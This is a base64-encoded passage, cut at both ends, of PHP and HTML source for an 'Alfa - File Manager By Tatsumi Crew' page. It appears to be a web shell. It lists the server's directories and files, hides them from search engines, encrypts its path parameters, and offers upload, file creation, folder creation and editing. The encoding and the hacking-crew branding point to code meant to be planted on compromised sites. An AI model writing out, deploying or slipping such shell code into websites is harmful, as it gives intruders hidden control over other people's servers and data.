W107CiRmaWxlcyAgID0gW107Cgpmb3JlYWNoICgkZW50cmllcyBhcyAkZW50cnkpIHsKICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7CiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICRkaXJzW10gPSAkZW50cnk7CiAgICB9IGVsc2UgewogICAgICAgICRmaWxlc1tdID0gJGVudHJ5OwogICAgfQp9Cgpzb3J0KCRkaXJzLCBTT1JUX05BVFVSQUwgfCBTT1JUX0ZMQUdfQ0FTRSk7CnNvcnQoJGZpbGVzLCBTT1JUX05BVFVSQUwgfCBTT1JUX0ZMQUdfQ0FTRSk7CiRzb3J0ZWRJdGVtcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOwoKJGVuY0RpciA9IHVybGVuY29kZShhZXNfZW5jcnlwdCgkZGlyKSk7Cj8+Cgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgo8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KPHRpdGxlPvCfjJ8gQWxmYSAtIEZpbGUgTWFuYWdlciBCeSBUYXRzdW1pIENyZXc8L3RpdGxlPgo8bGluayBocmVmPSJodHRwczovL2MuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnIubmV0L25wbS9ib290c3RyYXBANS4zLjMvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CjxsaW5rIGhyZWY9Imh0dHBzOi8vYy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjUuMS9jc3MvYWxsLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CjxsaW5rIGhyZWY9Imh0dHBzOi8vYy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uci5uZXQvZ2gvVGF0c3VtaU9mZmljaWFsL1BlbWVjYWhMaXN0L2F1dG9fc3R5bGUuY3NzIiByZWw9InN0eWxlc2hlZXQiPgo8c3R5bGU+CiAgICBAaW1wb3J0IHVybCgnaHR0cHM6Ly9mLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5zLmNvbS9jc3MyP2ZhbWlseT1JbnRlcjp3Z2h0QDMwMDs0MDA7NTAwOzYwMDs3MDAmZGlzcGxheT1zd2FwJyk7CiAgICAuYnJlYWRjcnVtYi1tb2Rlcm4gewogICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKTsKICAgICAgICBiYWNrZHJvcC1maWx0ZXI6IGJsdXIoMjBweCk7CiAgICAgICAgYm9yZGVyLXJhZGl1czogMTZweDsKICAgICAgICBwYWRkaW5nOiAxLjVyZW0gMnJlbTsKICAgICAgICBtYXJnaW46IDJyZW0gMDsKICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMik7CiAgICAgICAgYm94LXNoYWRvdzogCiAgICAgICAgMCA4cHggMzJweCByZ2JhKDAsIDAsIDAsIDAuMSksCiAgICAgICAgMCAwIDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4wNSk7CiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3MgY3ViaWMtYmV6aWVyKDAuNCwgMCwgMC4yLCAxKTsKICAgIH0KCiAgICAuYnJlYWRjcnVtYi1tb2Rlcm46OmJlZm9yZSB7CiAgICAgICAgY29udGVudDogJyc7CiAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgIHRvcDogMDsKICAgICAgICBsZWZ0OiAwOwogICAgICAgIHJpZ2h0OiAwOwogICAgICAgIGhlaWdodDogMXB4OwogICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgdHJhbnNwYXJlbnQsIHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgdHJhbnNwYXJlbnQpOwogICAgfQoKICAgIC5icmVhZGNydW1iLW1vZGVybjo6YWZ0ZXIgewogICAgICAgIGNvbnRlbnQ6ICcnOwogICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICB0b3A6IDA7CiAgICAgICAgbGVmdDogLTEwMCU7CiAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgdHJhbnNwYXJlbnQsIHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKSwgdHJhbnNwYXJlbnQpOwogICAgICAgIHRyYW5zaXRpb246IGxlZnQgMC41cyBlYXNlOwogICAgfQoKICAgIC5icmVhZGNydW1iLW1vZGVybjpob3Zlcjo6YWZ0ZXIgewogICAgICAgIGxlZnQ6IDEwMCU7CiAgICB9CgogICAgLmJyZWFkY3J1bWItbW9kZXJuOmhvdmVyIHsKICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7CiAgICAgICAgYm94LXNoYWRvdzogCiAgICAgICAgMCAxMnB4IDQwcHggcmdiYSgwLCAwLCAwLCAwLjE1KSwKICAgICAgICAwIDAgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjEpOwogICAgfQoKICAgIC5icmVhZGNydW1iIHsKICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgIGdhcDogMC41cmVtOwogICAgICAgIG1hcmdpbjogMDsKICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIHotaW5kZXg6IDE7CiAgICB9CgogICAgLmJyZWFkY3J1bWItaXRlbSB7CiAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBjdWJpYy1iZXppZXIoMC40LCAwLCAwLjIsIDEpOwogICAgICAgIG9wYWNpdHk6IDA7CiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0yMHB4KTsKICAgICAgICBhbmltYXRpb246IHNsaWRlSW5CcmVhZGNydW1iIDAuNXMgZWFzZSBmb3J3YXJkczsKICAgIH0KCiAgICAuYnJlYWRjcnVtYi1pdGVtOm50aC1jaGlsZCgxKSB7IGFuaW1hdGlvbi1kZWxheTogMC4xczsgfQogICAgLmJyZWFkY3J1bWItaXRlbTpudGgtY2hpbGQoMikgeyBhbmltYXRpb24tZGVsYXk6IDAuMnM7IH0KICAgIC5icmVhZGNydW1iLWl0ZW06bnRoLWNoaWxkKDMpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjNzOyB9CiAgICAuYnJlYWRjcnVtYi1pdGVtOm50aC1jaGlsZCg0KSB7IGFuaW1hdGlvbi1kZWxheTogMC40czsgfQogICAgLmJyZWFkY3J1bWItaXRlbTpudGgtY2hpbGQoNSkgeyBhbmltYXRpb24tZGVsYXk6IDAuNXM7IH0KICAgIC5icmVhZGNydW1iLWl0ZW06bnRoLWNoaWxkKDYpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjZzOyB9CiAgICAuYnJlYWRjcnVtYi1pdGVtOm50aC1jaGlsZCg3KSB7IGFuaW1hdGlvbi1kZWxheTogMC43czsgfQogICAgLmJyZWFkY3J1bWItaXRlbTpudGgtY2hpbGQoOCkgeyBhbmltYXRpb24tZGVsYXk6IDAuOHM7IH0KCiAgICBAa2V5ZnJhbWVzIHNsaWRlSW5CcmVhZGNydW1iIHsKICAgICAgICB0byB7CiAgICAgICAgICAgIG9wYWNpdHk6IDE7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgwKTsKICAgICAgICB9CiAgICB9CgogICAgLmJyZWFkY3J1bWItaXRlbTpub3QoOmxhc3QtY2hpbGQpOjphZnRlciB7CiAgICAgICAgY29udGVudDogJyc7CiAgICAgICAgd2lkdGg6IDhweDsKICAgICAgICBoZWlnaHQ6IDhweDsKICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCk7CiAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOwogICAgICAgIG1hcmdpbi1sZWZ0OiAxcmVtOwogICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzIGVhc2U7CiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIHRvcDogMDsKICAgIH0KCiAgICAuYnJlYWRjcnVtYi1pdGVtOm5vdCg6bGFzdC1jaGlsZCk6aG92ZXI6OmFmdGVyIHsKICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuOCk7CiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpOwogICAgfQoKICAgIC5icmVhZGNydW1iLWl0ZW0gYSB7CiAgICAgICAgY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC44KTsKICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgICAgICAgcGFkZGluZzogMC41cmVtIDFyZW07CiAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDsKICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBjdWJpYy1iZXppZXIoMC40LCAwLCAwLjIsIDEpOwogICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgZm9udC1zaXplOiAwLjlyZW07CiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjA1KTsKICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMSk7CiAgICB9CgogICAgLmJyZWFkY3J1bWItaXRlbSBhOjpiZWZvcmUgewogICAgICAgIGNvbnRlbnQ6ICcnOwogICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICB0b3A6IDA7CiAgICAgICAgbGVmdDogLTEwMCU7CiAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgdHJhbnNwYXJlbnQsIHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4yKSwgdHJhbnNwYXJlbnQpOwogICAgICAgIHRyYW5zaXRpb246IGxlZnQgMC41cyBlYXNlOwogICAgfQoKICAgIC5icmVhZGNydW1iLWl0ZW0gYTpob3ZlciB7CiAgICAgICAgY29sb3I6ICNmZmZmZmY7CiAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjE1KTsKICAgICAgICBib3JkZXItY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsKICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7CiAgICAgICAgYm94LXNoYWRvdzogMCA0cHggMTJweCByZ2JhKDAsIDAsIDAsIDAuMTUpOwogICAgfQoKICAgIC5icmVhZGNydW1iLWl0ZW0gYTpob3Zlcjo6YmVmb3JlIHsKICAgICAgICBsZWZ0OiAxMDAlOwogICAgfQoKICAgIC5icmVhZGNydW1iLWl0ZW0gYTphY3RpdmUgewogICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTsKICAgIH0KCiAgICAuYnJlYWRjcnVtYi1pdGVtLmFjdGl2ZSB7CiAgICAgICAgY29sb3I6ICNmZmZmZmY7Zm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICBwYWRkaW5nOiAwLjVyZW0gMXJlbTsKICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMik7CiAgICAgICAgYm9yZGVyLXJhZGl1czogMTBweDsKICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7CiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICB9CgogICAgLmJyZWFkY3J1bWItaXRlbS5hY3RpdmU6OmJlZm9yZSB7CiAgICAgICAgY29udGVudDogJyc7CiAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgIHRvcDogMDsKICAgICAgICBsZWZ0OiAwOwogICAgICAgIHJpZ2h0OiAwOwogICAgICAgIGJvdHRvbTogMDsKICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoNDVkZWcsIHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKSwgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjA1KSk7CiAgICAgICAgYm9yZGVyLXJhZGl1czogOXB4OwogICAgfQoKICAgIC8qIEljb24gdW50dWsgaG9tZSAqLwogICAgLmJyZWFkY3J1bWItaXRlbTpmaXJzdC1jaGlsZCBhOjpiZWZvcmUgewogICAgICAgIGNvbnRlbnQ6ICdcZjAxNSc7CiAgICAgICAgZm9udC1mYW1pbHk6ICdGb250IEF3ZXNvbWUgNiBGcmVlJzsKICAgICAgICBmb250LXdlaWdodDogOTAwOwogICAgICAgIG1hcmdpbi1yaWdodDogMC41cmVtOwogICAgICAgIG9wYWNpdHk6IDAuODsKICAgICAgICBwb3NpdGlvbjogc3RhdGljOwogICAgICAgIGJhY2tncm91bmQ6IG5vbmU7CiAgICAgICAgdHJhbnNpdGlvbjogbm9uZTsKICAgIH0KCiAgICAuYnJlYWRjcnVtYi1pdGVtOmZpcnN0LWNoaWxkIGE6aG92ZXI6OmJlZm9yZSB7CiAgICAgICAgbGVmdDogYXV0bzsKICAgIH0KCiAgICAvKiBSZXNwb25zaXZlIGRlc2lnbiAqLwogICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7CiAgICAgICAgLmJyZWFkY3J1bWItbW9kZXJuIHsKICAgICAgICAgICAgcGFkZGluZzogMXJlbSAxLjVyZW07CiAgICAgICAgICAgIG1hcmdpbjogMXJlbSAwOwogICAgICAgIH0KCiAgICAgICAgLmJyZWFkY3J1bWIgewogICAgICAgICAgICBnYXA6IDAuMjVyZW07CiAgICAgICAgfQoKICAgICAgICAuYnJlYWRjcnVtYi1pdGVtIGEsCiAgICAgICAgLmJyZWFkY3J1bWItaXRlbS5hY3RpdmUgewogICAgICAgICAgICBwYWRkaW5nOiAwLjRyZW0gMC44cmVtOwogICAgICAgICAgICBmb250LXNpemU6IDAuOHJlbTsKICAgICAgICB9CgogICAgICAgIC5icmVhZGNydW1iLWl0ZW06bm90KDpsYXN0LWNoaWxkKTo6YWZ0ZXIgewogICAgICAgICAgICBtYXJnaW4tbGVmdDogMC41cmVtOwogICAgICAgICAgICB3aWR0aDogNnB4OwogICAgICAgICAgICBoZWlnaHQ6IDZweDsKICAgICAgICB9CiAgICB9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxkaXYgY2xhc3M9ImFwcC13cmFwcGVyIj4KICAgIDxkaXYgY2xhc3M9ImhlYWRlci1jYXJkIj4KICAgICAgICA8ZGl2IGNsYXNzPSJkLWZsZXggZmxleC13cmFwIGp1c3RpZnktY29udGVudC1iZXR3ZWVuIGFsaWduLWl0ZW1zLWNlbnRlciBnYXAtMyI+CiAgICAgICAgICAgIDxoMSBjbGFzcz0iaGVhZGVyLXRpdGxlIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2MuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnouY29tL2ltYWdlcy9pY29uLnBuZyIgcmVmZXJyZXJwb2xpY3k9InVuc2FmZS11cmwiIC8+QWxmYSBGaWxlIE1hbmFnZXIKICAgICAgICAgICAgPC9oMT4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0yIGZsZXgtd3JhcCI+CiAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGRpciAhPT0gJGJhc2VfZGlyKTogPz4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkZW5jRGlyID8+IiBjbGFzcz0ibW9kZXJuLWJ0biI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtYXJyb3ctbGVmdCI+PC9pPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5CYWNrPC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibW9kZXJuLWJ0biIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI3VwbG9hZE1vZGFsIj4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXVwbG9hZCI+PC9pPgogICAgICAgICAgICAgICAgICAgIDxzcGFuPlVwbG9hZDwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibW9kZXJuLWJ0biIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI2NyZWF0ZUZpbGVNb2RhbCI+CiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1maWxlLXBsdXMiPjwvaT4KICAgICAgICAgICAgICAgICAgICA8c3Bhbj5OZXcgRmlsZTwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibW9kZXJuLWJ0biIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI2NyZWF0ZUZvbGRlck1vZGFsIj4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWZvbGRlci1wbHVzIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4+TmV3IEZvbGRlcjwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDwhLS0gQnJlYWRjcnVtYiAtLT4KICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWItbW9kZXJuIj4KICAgICAgICA8bmF2IGFyaWEtbGFiZWw9ImJyZWFkY3J1bWIiPgogICAgICAgICAgICA8b2wgY2xhc3M9ImJyZWFkY3J1bWIiPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICRwYXJ0cyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgdHJpbSgkZGlyLCBESVJFQ1RPUllfU0VQQVJBVE9SKSk7CiAgICAgICAgICAgICAgICAkYnVpbGQgPSAnJzsKICAgICAgICAgICAgICAgICRrZXlzID0gYXJyYXlfa2V5cygkcGFydHMpOwogICAgICAgICAgICAgICAgJGxhc3RLZXkgPSBlbmQoJGtleXMpOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkaSA9PiAkcCkgewogICAgICAgICAgICAgICAgICAgICRidWlsZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHA7CiAgICAgICAgICAgICAgICAgICAgJGxhc3QgPSAoJGkgPT09ICRsYXN0S2V5KTsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9ImJyZWFkY3J1bWItaXRlbScgLiAoJGxhc3QgPyAnIGFjdGl2ZSIgYXJpYS1jdXJyZW50PSJwYWdlIicgOiAnIicpIC4gJz4nOwogICAgICAgICAgICAgICAgICAgIGlmICghJGxhc3QpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nIC4gdXJsZW5jb2RlKGFlc19lbmNyeXB0KCRidWlsZCkpIC4gJyI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJHApIC4gJzwvYT4nOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvbGk+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgIDwvb2w+CiAgICAgICAgPC9uYXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tIEZpbGUgVGFibGUgLS0+CiAgICA8ZGl2IGNsYXNzPSJmaWxlLXRhYmxlLWNhcmQiPgogICAgICAgIDxkaXYgY2xhc3M9InRhYmxlLXJlc3BvbnNpdmUiPgogICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLW1vZGVybiI+CiAgICAgICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0idGV4dC1lbmQiPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICA8dGggY2xhc3M9InRleHQtY2VudGVyIj5QZXJtaXNzaW9uczwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5Nb2RpZmllZDwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz0idGV4dC1lbmQiPkFjdGlvbnM8L3RoPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRzb3J0ZWRJdGVtcyBhcyAkaXRlbSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCAgID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsgCiAgICAgICAgICAgICAgICAgICAgICAgICRpc19kaXIgPSBpc19kaXIoJHBhdGgpOyAKICAgICAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBhbGlnbi1pdGVtcy1jZW50ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWljb24gPD89ICRpc19kaXIgPyAnZm9sZGVyJyA6ICdmaWxlJyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLTw/PSAkaXNfZGlyID8gJ2ZvbGRlcicgOiAnZmlsZS1hbHQnID8+Ij48L2k+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGlzX2Rpcik6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoYWVzX2VuY3J5cHQoJHBhdGgpKSA/PiIgY2xhc3M9ImZpbGUtbGluayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkZW5jRGlyID8+JmVkaXQ9PD89IHVybGVuY29kZShhZXNfZW5jcnlwdCgkaXRlbSkpID8+IiBjbGFzcz0iZmlsZS1saW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRlbSkgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LWVuZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlzX2RpcikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBjbGFzcz0idGV4dC1tdXRlZCI+4oCUPC9zcGFuPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpICYmIGlzX3JlYWRhYmxlKCRwYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnNpemUgPSBAZmlsZXNpemUoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmc2l6ZSAhPT0gZmFsc2UgPyBodW1hbl9maWxlc2l6ZSgkZnNpemUpIDogJzxzcGFuIGNsYXNzPSJ0ZXh0LW11dGVkIj4wIEI8L3NwYW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBjbGFzcz0idGV4dC1tdXRlZCI+MCBCPC9zcGFuPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InBlcm1pc3Npb24tYmFkZ2UiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gKGZpbGVfZXhpc3RzKCRwYXRoKSAmJiBpc19yZWFkYWJsZSgkcGF0aCkpID8gaHVtYW5fcGVybXMoJHBhdGgpIDogJy0tLS0tLS0tLScgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSAmJiBpc19yZWFkYWJsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG10aW1lID0gQGZpbGVtdGltZSgkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRtdGltZSAhPT0gZmFsc2UgJiYgJG10aW1lID4gMCkgPyBkYXRlKCdNIGosIFkgSDppJywgJG10aW1lKSA6ICc8c3BhbiBjbGFzcz0idGV4dC1tdXRlZCI+Ti9BPC9zcGFuPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNwYW4gY2xhc3M9InRleHQtbXV0ZWQiPk4vQTwvc3Bhbj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGV4dC1lbmQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtZW5kIj4KICAgICAgIC